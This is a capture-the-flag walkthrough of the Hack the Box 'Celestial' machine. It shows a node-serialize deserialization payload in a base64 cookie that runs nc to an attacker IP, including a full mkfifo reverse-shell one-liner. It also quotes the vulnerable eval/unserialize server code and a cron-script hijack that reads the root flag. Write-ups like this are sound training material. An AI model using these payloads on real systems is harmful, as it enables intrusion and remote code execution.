3 minute read

Today, we are going to do Celestial of Hack the Box.

Enumeration & Exploitation

First, we perform an initial nmap scan to find open ports.

# Nmap 7.70 scan initiated Mon Jul 23 06:58:10 2018 as: nmap -sV -sC -oA init
Nmap scan report for
Host is up (0.023s latency).
Not shown: 999 closed ports
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 23 06:58:38 2018 -- 1 IP address (1 host up) scanned in 28.13 seconds

If we visit the page we are confronted with a 404 error page. But if we reload the page we can see a page with content: Hey Dummy 2 + 2 is 22.

Let’s take a closer look:

  • First open Burp Suite and configure your browser of choice to use 8080 as a proxy
  • Turn on intercept
  • Visit the website with cleared cache and cookies

We can see that on the first visit a cookie is set:

Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/;

The profile cookie looks very interesting because of the ending == which is almost always an indicator for base64 encoding. Now decode it as base64 and you’ll get a JSON object:

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

If you remember the content of the page of our second visit (after the cookie is set), we can guess that the num field could be the value that is used for the ‘computation’ shown above. Next, we can change the num field and insert another value like 3 which changes the output. Obviously, the JSON object is again base64 encoded and replaced in the HTTP header with the burp repeater.

Hey Dummy 3 + 3 is 33

Let’s send some special characters to the application (e.g. 3'>)

<!DOCTYPE html>
<html lang="en">
<meta charset="utf-8">
<pre>SyntaxError: Unexpected string<br> &nbsp; &nbsp;at /home/sun/server.js:13:29<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/home/sun/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /home/sun/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/home/sun/node_modules/express/lib/router/index.js:275:10)<br> &nbsp; &nbsp;at cookieParser (/home/sun/node_modules/cookie-parser/index.js:70:5)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)</pre>

Ok, we get a syntax error which means our input is parsed. Moreover, we have leaked some internal paths of the target.

Furthermore, we can do some research about nodejs exploitation which will lead to the exploitation of a unserialize function. If we dig deeper, we can execute a command like this [External Tutorial]:

First we open a netcat listener on our machine with nc -lvvp 1234 and then we can execute a command with

{"username":"Admin","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"_$$ND_FUNC$$_function (){\nexec=require('child_process').exec;\nexec('echo 1234 | nc 10.10.15.XX 1234');\nreturn 1\n}()"}

If it was successful, we can change our command to something more useful:

{"username":"Admin","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"_$$ND_FUNC$$_function (){\nexec=require('child_process').exec;\nexec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.XX 1234 >/tmp/f');\nreturn 1\n}()"}

Yes, got a shell!

nc -lvvp 1234
listening on [any] 1234 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 41274
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(sun) gid=1000(sun) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

If we look at server.js in the home directory of the user, we can find the unserialize function and an eval expression which will execute our commands:

var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
var sum = eval(obj.num + obj.num);
res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);

Privilege Escalation

Besides the user.txt, which contains the flag of the user account, we see a script called script.py with one line of python code print "Script is running...". If we take a look at the home directory we can find a root-owned file called output.txt which contains the string printed by the script above.

So, we can guess that the root user periodically executes the script of the user sun. Therefore, we can easily modify script.py to get a shell or simply leak the root.txt

Replace the content of script.py with our python code:

with open('/root/root.txt', 'rb') as f:
  print f.read()

After a few minutes, we can read the output.txt and we get the root flag.

Important: Please put the original code in script.py and remove the content of output.txt to avoid spoilers.

Happy Hacking! =)